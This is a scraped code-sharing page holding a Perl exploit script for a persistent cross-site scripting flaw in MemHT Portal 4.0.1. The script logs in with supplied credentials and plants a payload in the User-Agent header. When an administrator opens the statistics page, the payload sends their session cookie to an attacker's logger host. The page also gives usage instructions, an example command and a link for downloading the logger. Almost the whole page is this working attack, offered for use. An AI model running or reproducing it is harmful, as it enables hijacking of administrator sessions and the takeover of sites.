扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 |
#!/usr/bin/perl # MemHT Portal 4.0.1 Persistent Cross Site Scripting Vulnerability [user agent] # by ZonTa - zontahackers[at]gmail[dot]com # # After successful inject wait for the admin to view statistic page. # Fix is available : http://www.memht.com/news_149_MemHT-Portal-4-0-2.html use Getopt::Std; use Digest::MD5('md5_hex'); use LWP::UserAgent; my ($host,$id,$username,$password,$logger) = @ARGV; my $http = new LWP::UserAgent; my $u_agent = "]\"</td></tr><BODY ONLOAD=document.location=\"http://$logger?cookie=\"+document.cookie+\"&redirect=http://$host\">"; my $cookies = "login_user=$id#".md5_hex($username)."#".md5_hex($password); Main::Exploit(); package Main; sub Exploit { if (@ARGV != 5) { Main::Usage(); } else { HTTP::UserAgent($u_agent); MemHT::Login(); } } sub Usage { return print <<EOF; +-------------------------------------------------------------------+ | MemHT Portal 4.0.1 Persistent Cross Site Scripting Vulnerability| +-------------------------[user agent]------------------------------+ by ZonTa - zontahackers[at]gmail[dot]com Usage: perl exploit.pl host/path userId user pass logger[OPTIONS] host: target host and memht path userId: user id user: valid username pass: valid password logger: PHP loging file Example: perl exploit.pl localhost/memht 2 foo secret 192.168.1.5/logger.php Download Logger.php -> http://pastebin.com/K6E9AWrC EOF } package MemHT; sub Login { HTTP::Cookies($cookies); my $response = HTTP::GET($host.'/index.php?page=pvtmsg&op=newMessage'); if ($response->content =~ /access denied/i) { print "Login Failed!\n"; exit; } else { print "Logged In!\n"; print "XSS injected !"; } } package HTTP; sub UserAgent { return $http->agent($_[0]); } sub Cookies { return $http->default_header('Cookie' => $_[0]); } sub GET { if ($_[0] !~ m{^http://(.+?)$}i) { return $http->get('http://'.$_[0]); } else { return $http->get($_[0]); } } sub POST { if ($_[0] !~ m{^http://(.+?)$}i) { return $http->post('http://'.$_[0]); } else { return $http->post($_[0]); } } sub http_header { return $http->default_header($_[0]); } # Greetz to Sri Lankans |
体验盒子
